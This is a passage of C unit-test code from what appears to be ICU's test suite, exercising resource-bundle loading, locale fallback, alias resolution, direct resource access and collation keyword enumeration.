if(u_strlen(rules) != len){
log_err("UCARules string not nul terminated! \n");
}
ures_getVersion(resB, versionArray);
for (i=0; i<4; ++i) {
if (versionArray[i] < minVersionArray[i] ||
versionArray[i] > maxVersionArray[i])
{
log_err("Testing ures_getVersion(%-5s) - unexpected result: %d.%d.%d.%d\n",
locName, versionArray[0], versionArray[1], versionArray[2], versionArray[3]);
break;
}
}
ures_close(resB);
} while((locName = uenum_next(locs,&locLen,&status))&&U_SUCCESS(status));
if(U_FAILURE(status)) {
log_err("Err %s testing Collation locales.\n", u_errorName(status));
}
uenum_close(locs);
}
static void TestResourceBundles()
{
UErrorCode status = U_ZERO_ERROR;
loadTestData(&status);
if(U_FAILURE(status)) {
log_data_err("Could not load testdata.dat, status = %s\n", u_errorName(status));
return;
}
testTag("only_in_Root", TRUE, FALSE, FALSE);
testTag("in_Root_te", TRUE, TRUE, FALSE);
testTag("in_Root_te_te_IN", TRUE, TRUE, TRUE);
testTag("in_Root_te_IN", TRUE, FALSE, TRUE);
testTag("only_in_te", FALSE, TRUE, FALSE);
testTag("only_in_te_IN", FALSE, FALSE, TRUE);
testTag("in_te_te_IN", FALSE, TRUE, TRUE);
testTag("nonexistent", FALSE, FALSE, FALSE);
log_verbose("Passed:= %d Failed= %d \n", pass, fail);
}
static void TestConstruction1()
{
UResourceBundle *test1 = 0, *test2 = 0,*empty = 0;
const UChar *result1, *result2;
UErrorCode status= U_ZERO_ERROR;
UErrorCode err = U_ZERO_ERROR;
const char* locale="te_IN";
const char* testdatapath;
int32_t len1=0;
int32_t len2=0;
UVersionInfo versionInfo;
char versionString[256];
char verboseOutput[256];
U_STRING_DECL(rootVal, "ROOT", 4);
U_STRING_DECL(te_inVal, "TE_IN", 5);
U_STRING_INIT(rootVal, "ROOT", 4);
U_STRING_INIT(te_inVal, "TE_IN", 5);
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
log_verbose("Testing ures_open()......\n");
empty = ures_open(testdatapath, "testempty", &status);
if(empty == NULL || U_FAILURE(status)) {
log_err("opening empty failed!\n");
}
ures_close(empty);
test1=ures_open(testdatapath, NULL, &err);
if(U_FAILURE(err))
{
log_err("construction of NULL did not succeed : %s \n", myErrorName(status));
return;
}
test2=ures_open(testdatapath, locale, &err);
if(U_FAILURE(err))
{
log_err("construction of %s did not succeed : %s \n", locale, myErrorName(status));
return;
}
result1= tres_getString(test1, -1, "string_in_Root_te_te_IN", &len1, &err);
result2= tres_getString(test2, -1, "string_in_Root_te_te_IN", &len2, &err);
if (U_FAILURE(err) || len1==0 || len2==0) {
log_err("Something threw an error in TestConstruction(): %s\n", myErrorName(status));
return;
}
log_verbose("for string_in_Root_te_te_IN, default.txt had %s\n", u_austrcpy(verboseOutput, result1));
log_verbose("for string_in_Root_te_te_IN, te_IN.txt had %s\n", u_austrcpy(verboseOutput, result2));
if(u_strcmp(result1, rootVal) !=0 || u_strcmp(result2, te_inVal) !=0 ){
log_err("construction test failed. Run Verbose for more information");
}
/* Test getVersionNumber*/
log_verbose("Testing version number\n");
log_verbose("for getVersionNumber : %s\n", ures_getVersionNumber(test1));
log_verbose("Testing version \n");
ures_getVersion(test1, versionInfo);
u_versionToString(versionInfo, versionString);
log_verbose("for getVersion : %s\n", versionString);
if(strcmp(versionString, ures_getVersionNumber(test1)) != 0) {
log_err("Versions differ: %s vs %s\n", versionString, ures_getVersionNumber(test1));
}
ures_close(test1);
ures_close(test2);
}
/*****************************************************************************/
/*****************************************************************************/
static UBool testTag(const char* frag,
UBool in_Root,
UBool in_te,
UBool in_te_IN)
{
int32_t failNum = fail;
/* Make array from input params */
UBool is_in[3];
const char *NAME[] = { "ROOT", "TE", "TE_IN" };
/* Now try to load the desired items */
UResourceBundle* theBundle = NULL;
char tag[99];
char action[256];
UErrorCode expected_status,status = U_ZERO_ERROR,expected_resource_status = U_ZERO_ERROR;
UChar* base = NULL;
UChar* expected_string = NULL;
const UChar* string = NULL;
char buf[5];
char item_tag[10];
int32_t i,j,row,col, len;
int32_t actual_bundle;
int32_t count = 0;
int32_t row_count=0;
int32_t column_count=0;
int32_t index = 0;
int32_t tag_count= 0;
const char* testdatapath;
char verboseOutput[256];
UResourceBundle* array=NULL;
UResourceBundle* array2d=NULL;
UResourceBundle* tags=NULL;
UResourceBundle* arrayItem1=NULL;
testdatapath = loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return FALSE;
}
is_in[0] = in_Root;
is_in[1] = in_te;
is_in[2] = in_te_IN;
strcpy(item_tag, "tag");
for (i=0; i<bundles_count; ++i)
{
strcpy(action,"construction for ");
strcat(action, param[i].name);
status = U_ZERO_ERROR;
theBundle = ures_open(testdatapath, param[i].name, &status);
CONFIRM_ErrorCode(status,param[i].expected_constructor_status);
if(i == 5)
actual_bundle = 0; /* ne -> default */
else if(i == 3)
actual_bundle = 1; /* te_NE -> te */
else if(i == 4)
actual_bundle = 2; /* te_IN_NE -> te_IN */
else
actual_bundle = i;
expected_resource_status = U_MISSING_RESOURCE_ERROR;
for (j=e_te_IN; j>=e_Root; --j)
{
if (is_in[j] && param[i].inherits[j])
{
if(j == actual_bundle) /* it's in the same bundle OR it's a nonexistent=default bundle (5) */
expected_resource_status = U_ZERO_ERROR;
else if(j == 0)
expected_resource_status = U_USING_DEFAULT_WARNING;
else
expected_resource_status = U_USING_FALLBACK_WARNING;
log_verbose("%s[%d]::%s: in<%d:%s> inherits<%d:%s>. actual_bundle=%s\n",
param[i].name,
i,
frag,
j,
is_in[j]?"Yes":"No",
j,
param[i].inherits[j]?"Yes":"No",
param[actual_bundle].name);
break;
}
}
for (j=param[i].where; j>=0; --j)
{
if (is_in[j])
{
if(base != NULL) {
free(base);
base = NULL;
}
base=(UChar*)malloc(sizeof(UChar)*(strlen(NAME[j]) + 1));
u_uastrcpy(base,NAME[j]);
break;
}
else {
if(base != NULL) {
free(base);
base = NULL;
}
base = (UChar*) malloc(sizeof(UChar) * 1);
*base = 0x0000;
}
}
/*----string---------------------------------------------------------------- */
strcpy(tag,"string_");
strcat(tag,frag);
strcpy(action,param[i].name);
strcat(action, ".ures_getStringByKey(" );
strcat(action,tag);
strcat(action, ")");
status = U_ZERO_ERROR;
len=0;
string=tres_getString(theBundle, -1, tag, &len, &status);
if(U_SUCCESS(status)) {
expected_string=(UChar*)malloc(sizeof(UChar)*(u_strlen(base) + 4));
u_strcpy(expected_string,base);
CONFIRM_INT_EQ(len, u_strlen(expected_string));
}else{
expected_string = (UChar*)malloc(sizeof(UChar)*(u_strlen(kERROR) + 1));
u_strcpy(expected_string,kERROR);
string=kERROR;
}
log_verbose("%s got %d, expected %d\n", action, status, expected_resource_status);
CONFIRM_ErrorCode(status, expected_resource_status);
CONFIRM_EQ(string, expected_string);
/*--------------array------------------------------------------------- */
strcpy(tag,"array_");
strcat(tag,frag);
strcpy(action,param[i].name);
strcat(action, ".ures_getByKey(" );
strcat(action,tag);
strcat(action, ")");
len=0;
count = kERROR_COUNT;
status = U_ZERO_ERROR;
array=ures_getByKey(theBundle, tag, array, &status);
CONFIRM_ErrorCode(status,expected_resource_status);
if (U_SUCCESS(status)) {
/*confirm the resource type is an array*/
CONFIRM_INT_EQ(ures_getType(array), URES_ARRAY);
/*confirm the size*/
count=ures_getSize(array);
CONFIRM_INT_GE(count,1);
for (j=0; j<count; ++j) {
UChar element[3];
u_strcpy(expected_string, base);
u_uastrcpy(element, itoa1(j,buf));
u_strcat(expected_string, element);
arrayItem1=ures_getNextResource(array, arrayItem1, &status);
if(U_SUCCESS(status)){
CONFIRM_EQ(tres_getString(arrayItem1, -1, NULL, &len, &status),expected_string);
}
}
}
else {
CONFIRM_INT_EQ(count,kERROR_COUNT);
CONFIRM_ErrorCode(status, U_MISSING_RESOURCE_ERROR);
/*CONFIRM_INT_EQ((int32_t)(unsigned long)array,(int32_t)0);*/
count = 0;
}
/*--------------arrayItem------------------------------------------------- */
strcpy(tag,"array_");
strcat(tag,frag);
strcpy(action,param[i].name);
strcat(action, ".ures_getStringByIndex(");
strcat(action, tag);
strcat(action, ")");
for (j=0; j<10; ++j){
index = count ? (randi(count * 3) - count) : (randi(200) - 100);
status = U_ZERO_ERROR;
string=kERROR;
array=ures_getByKey(theBundle, tag, array, &status);
if(!U_FAILURE(status)){
UChar *t=NULL;
t=(UChar*)ures_getStringByIndex(array, index, &len, &status);
if(!U_FAILURE(status)){
UChar element[3];
string=t;
u_strcpy(expected_string, base);
u_uastrcpy(element, itoa1(index,buf));
u_strcat(expected_string, element);
} else {
u_strcpy(expected_string, kERROR);
}
}
expected_status = (index >= 0 && index < count) ? expected_resource_status : U_MISSING_RESOURCE_ERROR;
CONFIRM_ErrorCode(status,expected_status);
CONFIRM_EQ(string,expected_string);
}
/*--------------2dArray------------------------------------------------- */
strcpy(tag,"array_2d_");
strcat(tag,frag);
strcpy(action,param[i].name);
strcat(action, ".ures_getByKey(" );
strcat(action,tag);
strcat(action, ")");
row_count = kERROR_COUNT, column_count = kERROR_COUNT;
status = U_ZERO_ERROR;
array2d=ures_getByKey(theBundle, tag, array2d, &status);
CONFIRM_ErrorCode(status,expected_resource_status);
if (U_SUCCESS(status))
{
/*confirm the resource type is an 2darray*/
CONFIRM_INT_EQ(ures_getType(array2d), URES_ARRAY);
row_count=ures_getSize(array2d);
CONFIRM_INT_GE(row_count,1);
for(row=0; row<row_count; ++row){
UResourceBundle *tableRow=NULL;
tableRow=ures_getByIndex(array2d, row, tableRow, &status);
CONFIRM_ErrorCode(status, expected_resource_status);
if(U_SUCCESS(status)){
/*confirm the resourcetype of each table row is an array*/
CONFIRM_INT_EQ(ures_getType(tableRow), URES_ARRAY);
column_count=ures_getSize(tableRow);
CONFIRM_INT_GE(column_count,1);
for (col=0; j<column_count; ++j) {
UChar element[3];
u_strcpy(expected_string, base);
u_uastrcpy(element, itoa1(row, buf));
u_strcat(expected_string, element);
u_uastrcpy(element, itoa1(col, buf));
u_strcat(expected_string, element);
arrayItem1=ures_getNextResource(tableRow, arrayItem1, &status);
if(U_SUCCESS(status)){
const UChar *stringValue=tres_getString(arrayItem1, -1, NULL, &len, &status);
CONFIRM_EQ(stringValue, expected_string);
}
}
}
ures_close(tableRow);
}
}else{
CONFIRM_INT_EQ(row_count,kERROR_COUNT);
CONFIRM_INT_EQ(column_count,kERROR_COUNT);
row_count=column_count=0;
}
/*------2dArrayItem-------------------------------------------------------------- */
/* 2dArrayItem*/
for (j=0; j<10; ++j)
{
row = row_count ? (randi(row_count * 3) - row_count) : (randi(200) - 100);
col = column_count ? (randi(column_count * 3) - column_count) : (randi(200) - 100);
status = U_ZERO_ERROR;
string = kERROR;
len=0;
array2d=ures_getByKey(theBundle, tag, array2d, &status);
if(U_SUCCESS(status)){
UResourceBundle *tableRow=NULL;
tableRow=ures_getByIndex(array2d, row, tableRow, &status);
if(U_SUCCESS(status)) {
UChar *t=NULL;
t=(UChar*)ures_getStringByIndex(tableRow, col, &len, &status);
if(U_SUCCESS(status)){
string=t;
}
}
ures_close(tableRow);
}
expected_status = (row >= 0 && row < row_count && col >= 0 && col < column_count) ?
expected_resource_status: U_MISSING_RESOURCE_ERROR;
CONFIRM_ErrorCode(status,expected_status);
if (U_SUCCESS(status)){
UChar element[3];
u_strcpy(expected_string, base);
u_uastrcpy(element, itoa1(row, buf));
u_strcat(expected_string, element);
u_uastrcpy(element, itoa1(col, buf));
u_strcat(expected_string, element);
} else {
u_strcpy(expected_string,kERROR);
}
CONFIRM_EQ(string,expected_string);
}
/*--------------taggedArray----------------------------------------------- */
strcpy(tag,"tagged_array_");
strcat(tag,frag);
strcpy(action,param[i].name);
strcat(action,".ures_getByKey(");
strcat(action, tag);
strcat(action,")");
status = U_ZERO_ERROR;
tag_count=0;
tags=ures_getByKey(theBundle, tag, tags, &status);
CONFIRM_ErrorCode(status, expected_resource_status);
if (U_SUCCESS(status)) {
UResType bundleType=ures_getType(tags);
CONFIRM_INT_EQ(bundleType, URES_TABLE);
tag_count=ures_getSize(tags);
CONFIRM_INT_GE((int32_t)tag_count, (int32_t)0);
for(index=0; index <tag_count; index++){
UResourceBundle *tagelement=NULL;
const char *key=NULL;
UChar* value=NULL;
tagelement=ures_getByIndex(tags, index, tagelement, &status);
key=ures_getKey(tagelement);
value=(UChar*)ures_getNextString(tagelement, &len, &key, &status);
log_verbose("tag = %s, value = %s\n", key, u_austrcpy(verboseOutput, value));
if(strncmp(key, "tag", 3) == 0 && u_strncmp(value, base, u_strlen(base)) == 0){
record_pass();
}else{
record_fail();
}
ures_close(tagelement);
}
}else{
tag_count=0;
}
/*---------taggedArrayItem----------------------------------------------*/
count = 0;
for (index=-20; index<20; ++index)
{
status = U_ZERO_ERROR;
string = kERROR;
strcpy(item_tag, "tag");
strcat(item_tag, itoa1(index,buf));
tags=ures_getByKey(theBundle, tag, tags, &status);
if(U_SUCCESS(status)){
UResourceBundle *tagelement=NULL;
UChar *t=NULL;
tagelement=ures_getByKey(tags, item_tag, tagelement, &status);
if(!U_FAILURE(status)){
UResType elementType=ures_getType(tagelement);
CONFIRM_INT_EQ(elementType, URES_STRING);
if(strcmp(ures_getKey(tagelement), item_tag) == 0){
record_pass();
}else{
record_fail();
}
t=(UChar*)tres_getString(tagelement, -1, NULL, &len, &status);
if(!U_FAILURE(status)){
string=t;
}
}
if (index < 0) {
CONFIRM_ErrorCode(status,U_MISSING_RESOURCE_ERROR);
}
else{
if (status != U_MISSING_RESOURCE_ERROR) {
UChar element[3];
u_strcpy(expected_string, base);
u_uastrcpy(element, itoa1(index,buf));
u_strcat(expected_string, element);
CONFIRM_EQ(string,expected_string);
count++;
}
}
ures_close(tagelement);
}
}
CONFIRM_INT_EQ(count, tag_count);
free(expected_string);
ures_close(theBundle);
}
ures_close(array);
ures_close(array2d);
ures_close(tags);
ures_close(arrayItem1);
free(base);
return (UBool)(failNum == fail);
}
static void record_pass()
{
++pass;
}
static void record_fail()
{
++fail;
}
/**
* Test to make sure that the U_USING_FALLBACK_ERROR and U_USING_DEFAULT_ERROR
* are set correctly
*/
static void TestFallback()
{
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *fr_FR = NULL;
UResourceBundle *subResource = NULL;
const UChar *junk; /* ignored */
int32_t resultLen;
log_verbose("Opening fr_FR..");
fr_FR = ures_open(NULL, "fr_FR", &status);
if(U_FAILURE(status))
{
log_err_status(status, "Couldn't open fr_FR - %s\n", u_errorName(status));
return;
}
status = U_ZERO_ERROR;
/* clear it out.. just do some calls to get the gears turning */
junk = tres_getString(fr_FR, -1, "LocaleID", &resultLen, &status);
status = U_ZERO_ERROR;
junk = tres_getString(fr_FR, -1, "LocaleString", &resultLen, &status);
status = U_ZERO_ERROR;
junk = tres_getString(fr_FR, -1, "LocaleID", &resultLen, &status);
status = U_ZERO_ERROR;
/* OK first one. This should be a Default value. */
subResource = ures_getByKey(fr_FR, "MeasurementSystem", NULL, &status);
if(status != U_USING_DEFAULT_WARNING)
{
log_data_err("Expected U_USING_DEFAULT_ERROR when trying to get CurrencyMap from fr_FR, got %s\n",
u_errorName(status));
}
status = U_ZERO_ERROR;
ures_close(subResource);
/* and this is a Fallback, to fr */
junk = tres_getString(fr_FR, -1, "ExemplarCharacters", &resultLen, &status);
if(status != U_USING_FALLBACK_WARNING)
{
log_data_err("Expected U_USING_FALLBACK_ERROR when trying to get ExemplarCharacters from fr_FR, got %d\n",
status);
}
status = U_ZERO_ERROR;
ures_close(fr_FR);
/* Temporary hack err actually should be U_USING_FALLBACK_ERROR */
/* Test Jitterbug 552 fallback mechanism of aliased data */
{
UErrorCode err =U_ZERO_ERROR;
UResourceBundle* myResB = ures_open(NULL,"no_NO_NY",&err);
UResourceBundle* resLocID = ures_getByKey(myResB, "Version", NULL, &err);
UResourceBundle* tResB;
UResourceBundle* zoneResource;
const UChar* version = NULL;
static const UChar versionStr[] = { 0x0032, 0x002E, 0x0030, 0x002E, 0x0034, 0x0031, 0x002E, 0x0032, 0x0033, 0x0000};
if(err != U_ZERO_ERROR){
log_data_err("Expected U_ZERO_ERROR when trying to test no_NO_NY aliased to nn_NO for Version err=%s\n",u_errorName(err));
return;
}
version = tres_getString(resLocID, -1, NULL, &resultLen, &err);
if(u_strcmp(version, versionStr) != 0){
char x[100];
char g[100];
u_austrcpy(x, versionStr);
u_austrcpy(g, version);
log_data_err("ures_getString(resLocID, &resultLen, &err) returned an unexpected version value. Expected '%s', but got '%s'\n",
x, g);
}
zoneResource = ures_open(U_ICUDATA_ZONE, "no_NO_NY", &err);
tResB = ures_getByKey(zoneResource, "zoneStrings", NULL, &err);
if(err != U_USING_FALLBACK_WARNING){
log_err("Expected U_USING_FALLBACK_ERROR when trying to test no_NO_NY aliased with nn_NO_NY for zoneStrings err=%s\n",u_errorName(err));
}
ures_close(tResB);
ures_close(zoneResource);
ures_close(resLocID);
ures_close(myResB);
}
}
/* static void printUChars(UChar* uchars){
/ int16_t i=0;
/ for(i=0; i<u_strlen(uchars); i++){
/ log_err("%04X ", *(uchars+i));
/ }
/ } */
static void TestResourceLevelAliasing(void) {
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *aliasB = NULL, *tb = NULL;
UResourceBundle *en = NULL, *uk = NULL, *testtypes = NULL;
const char* testdatapath = NULL;
const UChar *string = NULL, *sequence = NULL;
/*const uint8_t *binary = NULL, *binSequence = NULL;*/
int32_t strLen = 0, seqLen = 0;/*, binLen = 0, binSeqLen = 0;*/
char buffer[100];
char *s;
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
aliasB = ures_open(testdatapath, "testaliases", &status);
if(U_FAILURE(status))
{
log_data_err("Could not load testaliases.res %s \n",myErrorName(status));
return;
}
/* this should fail - circular alias */
tb = ures_getByKey(aliasB, "aaa", tb, &status);
if(status != U_TOO_MANY_ALIASES_ERROR) {
log_err("Failed to detect circular alias\n");
}
else {
status = U_ZERO_ERROR;
}
tb = ures_getByKey(aliasB, "aab", tb, &status);
if(status != U_TOO_MANY_ALIASES_ERROR) {
log_err("Failed to detect circular alias\n");
} else {
status = U_ZERO_ERROR;
}
if(U_FAILURE(status) ) {
log_data_err("err loading tb resource\n");
} else {
/* testing aliasing to a non existing resource */
tb = ures_getByKey(aliasB, "nonexisting", tb, &status);
if(status != U_MISSING_RESOURCE_ERROR) {
log_err("Managed to find an alias to non-existing resource\n");
} else {
status = U_ZERO_ERROR;
}
/* testing referencing/composed alias */
uk = ures_findResource("ja/LocaleScript/2", uk, &status);
if((uk == NULL) || U_FAILURE(status)) {
log_err_status(status, "Couldn't findResource('ja/LocaleScript/2') err %s\n", u_errorName(status));
goto cleanup;
}
sequence = tres_getString(uk, -1, NULL, &seqLen, &status);
tb = ures_getByKey(aliasB, "referencingalias", tb, &status);
string = tres_getString(tb, -1, NULL, &strLen, &status);
if(seqLen != strLen || u_strncmp(sequence, string, seqLen) != 0) {
log_err("Referencing alias didn't get the right string (1)\n");
}
string = tres_getString(aliasB, -1, "referencingalias", &strLen, &status);
if(seqLen != strLen || u_strncmp(sequence, string, seqLen) != 0) {
log_err("Referencing alias didn't get the right string (2)\n");
}
checkStatus(__LINE__, U_ZERO_ERROR, status);
tb = ures_getByKey(aliasB, "LocaleScript", tb, &status);
checkStatus(__LINE__, U_ZERO_ERROR, status);
tb = ures_getByIndex(tb, 2, tb, &status);
checkStatus(__LINE__, U_ZERO_ERROR, status);
string = tres_getString(tb, -1, NULL, &strLen, &status);
checkStatus(__LINE__, U_ZERO_ERROR, status);
if(U_FAILURE(status)) {
log_err("%s trying to get string via separate getters\n", u_errorName(status));
} else if(seqLen != strLen || u_strncmp(sequence, string, seqLen) != 0) {
log_err("Referencing alias didn't get the right string (3)\n");
}
{
UResourceBundle* th = ures_open(U_ICUDATA_BRKITR,"th", &status);
const UChar *got = NULL, *exp=NULL;
int32_t gotLen = 0, expLen=0;
th = ures_getByKey(th, "boundaries", th, &status);
exp = tres_getString(th, -1, "grapheme", &expLen, &status);
tb = ures_getByKey(aliasB, "boundaries", tb, &status);
got = tres_getString(tb, -1, "grapheme", &gotLen, &status);
if(U_FAILURE(status)) {
log_err("%s trying to read str boundaries\n", u_errorName(status));
} else if(gotLen != expLen || u_strncmp(exp, got, gotLen) != 0) {
log_err("Referencing alias didn't get the right data\n");
}
ures_close(th);
status = U_ZERO_ERROR;
}
/* simple alias */
testtypes = ures_open(testdatapath, "testtypes", &status);
strcpy(buffer, "menu/file/open");
s = buffer;
uk = ures_findSubResource(testtypes, s, uk, &status);
sequence = tres_getString(uk, -1, NULL, &seqLen, &status);
tb = ures_getByKey(aliasB, "simplealias", tb, &status);
string = tres_getString(tb, -1, NULL, &strLen, &status);
if(U_FAILURE(status) || seqLen != strLen || u_strncmp(sequence, string, seqLen) != 0) {
log_err("Referencing alias didn't get the right string (4)\n");
}
/* test indexed aliasing */
tb = ures_getByKey(aliasB, "zoneTests", tb, &status);
tb = ures_getByKey(tb, "zoneAlias2", tb, &status);
string = tres_getString(tb, -1, NULL, &strLen, &status);
en = ures_findResource("/ICUDATA-zone/en/zoneStrings/3/0", en, &status);
sequence = tres_getString(en, -1, NULL, &seqLen, &status);
if(U_FAILURE(status) || seqLen != strLen || u_strncmp(sequence, string, seqLen) != 0) {
log_err("Referencing alias didn't get the right string (5)\n");
}
}
/* test getting aliased string by index */
{
const char* keys[] = {
"KeyAlias0PST",
"KeyAlias1PacificStandardTime",
"KeyAlias2PDT",
"KeyAlias3LosAngeles"
};
const char* strings[] = {
"America/Los_Angeles",
"Pacific Standard Time",
"PDT",
"Los Angeles",
};
UChar uBuffer[256];
const UChar* result;
int32_t uBufferLen = 0, resultLen = 0;
int32_t i = 0;
const char *key = NULL;
tb = ures_getByKey(aliasB, "testGetStringByKeyAliasing", tb, &status);
if(U_FAILURE(status)) {
log_err("FAIL: Couldn't get testGetStringByKeyAliasing resource: %s\n", u_errorName(status));
} else {
for(i = 0; i < sizeof(strings)/sizeof(strings[0]); i++) {
result = tres_getString(tb, -1, keys[i], &resultLen, &status);
if(U_FAILURE(status)){
log_err("(1) Fetching the resource with key %s failed. Error: %s\n", keys[i], u_errorName(status));
continue;
}
uBufferLen = u_unescape(strings[i], uBuffer, 256);
if(resultLen != uBufferLen || u_strncmp(result, uBuffer, resultLen) != 0) {
log_err("(1) Didn't get correct string while accessing alias table by key (%s)\n", keys[i]);
}
}
for(i = 0; i < sizeof(strings)/sizeof(strings[0]); i++) {
result = tres_getString(tb, i, NULL, &resultLen, &status);
if(U_FAILURE(status)){
log_err("(2) Fetching the resource with key %s failed. Error: %s\n", keys[i], u_errorName(status));
continue;
}
uBufferLen = u_unescape(strings[i], uBuffer, 256);
if(result==NULL || resultLen != uBufferLen || u_strncmp(result, uBuffer, resultLen) != 0) {
log_err("(2) Didn't get correct string while accesing alias table by index (%s)\n", strings[i]);
}
}
for(i = 0; i < sizeof(strings)/sizeof(strings[0]); i++) {
result = ures_getNextString(tb, &resultLen, &key, &status);
if(U_FAILURE(status)){
log_err("(3) Fetching the resource with key %s failed. Error: %s\n", keys[i], u_errorName(status));
continue;
}
uBufferLen = u_unescape(strings[i], uBuffer, 256);
if(result==NULL || resultLen != uBufferLen || u_strncmp(result, uBuffer, resultLen) != 0) {
log_err("(3) Didn't get correct string while iterating over alias table (%s)\n", strings[i]);
}
}
}
tb = ures_getByKey(aliasB, "testGetStringByIndexAliasing", tb, &status);
if(U_FAILURE(status)) {
log_err("FAIL: Couldn't get testGetStringByIndexAliasing resource: %s\n", u_errorName(status));
} else {
for(i = 0; i < sizeof(strings)/sizeof(strings[0]); i++) {
result = tres_getString(tb, i, NULL, &resultLen, &status);
if(U_FAILURE(status)){
log_err("Fetching the resource with key %s failed. Error: %s\n", keys[i], u_errorName(status));
continue;
}
uBufferLen = u_unescape(strings[i], uBuffer, 256);
if(result==NULL || resultLen != uBufferLen || u_strncmp(result, uBuffer, resultLen) != 0) {
log_err("Didn't get correct string while accesing alias by index in an array (%s)\n", strings[i]);
}
}
for(i = 0; i < sizeof(strings)/sizeof(strings[0]); i++) {
result = ures_getNextString(tb, &resultLen, &key, &status);
if(U_FAILURE(status)){
log_err("Fetching the resource with key %s failed. Error: %s\n", keys[i], u_errorName(status));
continue;
}
uBufferLen = u_unescape(strings[i], uBuffer, 256);
if(result==NULL || resultLen != uBufferLen || u_strncmp(result, uBuffer, resultLen) != 0) {
log_err("Didn't get correct string while iterating over aliases in an array (%s)\n", strings[i]);
}
}
}
}
tb = ures_getByKey(aliasB, "testAliasToTree", tb, &status);
if(U_FAILURE(status)){
log_err("Fetching the resource with key \"testAliasToTree\" failed. Error: %s\n", u_errorName(status));
goto cleanup;
}
if (strcmp(ures_getKey(tb), "collations") != 0) {
log_err("ures_getKey(aliasB) unexpectedly returned %s instead of \"collations\"\n", ures_getKey(tb));
}
cleanup:
ures_close(aliasB);
ures_close(tb);
ures_close(en);
ures_close(uk);
ures_close(testtypes);
}
static void TestDirectAccess(void) {
UErrorCode status = U_ZERO_ERROR;
UResourceBundle *t = NULL, *t2 = NULL;
const char* key = NULL;
char buffer[100];
char *s;
/*const char* testdatapath=loadTestData(&status);
if(U_FAILURE(status)){
log_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}*/
t = ures_findResource("/testdata/te/zoneStrings/3/2", t, &status);
if(U_FAILURE(status)) {
log_data_err("Couldn't access indexed resource, error %s\n", u_errorName(status));
status = U_ZERO_ERROR;
} else {
key = ures_getKey(t);
if(key != NULL) {
log_err("Got a strange key, expected NULL, got %s\n", key);
}
}
t = ures_findResource("en/calendar/gregorian/DateTimePatterns/3", t, &status);
if(U_FAILURE(status)) {
log_data_err("Couldn't access indexed resource, error %s\n", u_errorName(status));
status = U_ZERO_ERROR;
} else {
key = ures_getKey(t);
if(key != NULL) {
log_err("Got a strange key, expected NULL, got %s\n", key);
}
}
t = ures_findResource("ja/LocaleScript", t, &status);
if(U_FAILURE(status)) {
log_data_err("Couldn't access keyed resource, error %s\n", u_errorName(status));
status = U_ZERO_ERROR;
} else {
key = ures_getKey(t);
if(strcmp(key, "LocaleScript")!=0) {
log_err("Got a strange key, expected 'LocaleScript', got %s\n", key);
}
}
t2 = ures_open(U_ICUDATA_LANG, "sr", &status);
if(U_FAILURE(status)) {
log_err_status(status, "Couldn't open 'sr' resource bundle, error %s\n", u_errorName(status));
log_data_err("No 'sr', no test - you have bigger problems than testing direct access. "
"You probably have no data! Aborting this test\n");
}
if(U_SUCCESS(status)) {
strcpy(buffer, "Languages/hr");
s = buffer;
t = ures_findSubResource(t2, s, t, &status);
if(U_FAILURE(status)) {
log_err("Couldn't access keyed resource, error %s\n", u_errorName(status));
status = U_ZERO_ERROR;
} else {
key = ures_getKey(t);
if(strcmp(key, "hr")!=0) {
log_err("Got a strange key, expected 'hr', got %s\n", key);
}
}
}
t = ures_findResource("root/calendar/islamic-civil/DateTime", t, &status);
if(U_SUCCESS(status)) {
log_data_err("This resource does not exist. How did it get here?\n");
}
status = U_ZERO_ERROR;
/* this one will freeze */
t = ures_findResource("root/calendar/islamic-civil/eras/abbreviated/0/mikimaus/pera", t, &status);
if(U_SUCCESS(status)) {
log_data_err("Second resource does not exist. How did it get here?\n");
}
status = U_ZERO_ERROR;
ures_close(t2);
t2 = ures_open(NULL, "he", &status);
t2 = ures_getByKeyWithFallback(t2, "calendar", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "islamic-civil", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "DateTime", t2, &status);
if(U_SUCCESS(status)) {
log_err("This resource does not exist. How did it get here?\n");
}
status = U_ZERO_ERROR;
ures_close(t2);
t2 = ures_open(NULL, "he", &status);
/* George's fix */
t2 = ures_getByKeyWithFallback(t2, "calendar", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "islamic-civil", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "eras", t2, &status);
if(U_FAILURE(status)) {
log_err_status(status, "Didn't get Eras. I know they are there!\n");
}
status = U_ZERO_ERROR;
ures_close(t2);
t2 = ures_open(NULL, "root", &status);
t2 = ures_getByKeyWithFallback(t2, "calendar", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "islamic-civil", t2, &status);
t2 = ures_getByKeyWithFallback(t2, "DateTime", t2, &status);
if(U_SUCCESS(status)) {
log_err("This resource does not exist. How did it get here?\n");
}
status = U_ZERO_ERROR;
ures_close(t2);
ures_close(t);
}
static void TestJB3763(void) {
/* Nasty bug prevented using parent as fill-in, since it would
* stomp the path information.
*/
UResourceBundle *t = NULL;
UErrorCode status = U_ZERO_ERROR;
t = ures_open(NULL, "sr_Latn", &status);
t = ures_getByKeyWithFallback(t, "calendar", t, &status);
t = ures_getByKeyWithFallback(t, "gregorian", t, &status);
t = ures_getByKeyWithFallback(t, "AmPmMarkers", t, &status);
if(U_FAILURE(status)) {
log_err_status(status, "This resource should be available?\n");
}
status = U_ZERO_ERROR;
ures_close(t);
}
static void TestGetKeywordValues(void) {
UEnumeration *kwVals;
UBool foundStandard = FALSE;
UErrorCode status = U_ZERO_ERROR;
const char *kw;
#if !UCONFIG_NO_COLLATION
kwVals = ures_getKeywordValues( U_ICUDATA_COLL, "collations", &status);
log_verbose("Testing getting collation keyword values:\n");
while((kw=uenum_next(kwVals, NULL, &status))) {
log_verbose(" %s\n", kw);
if(!strcmp(kw,"standard")) {
if(foundStandard == FALSE) {
foundStandard = TRUE;
} else {
log_err("'standard' was found twice in the keyword list.\n");
}
}
}
if(foundStandard == FALSE) {
log_err_status(status, "'standard' was not found in the keyword list.\n");
}
uenum_close(kwVals);
if(U_FAILURE(status)) {
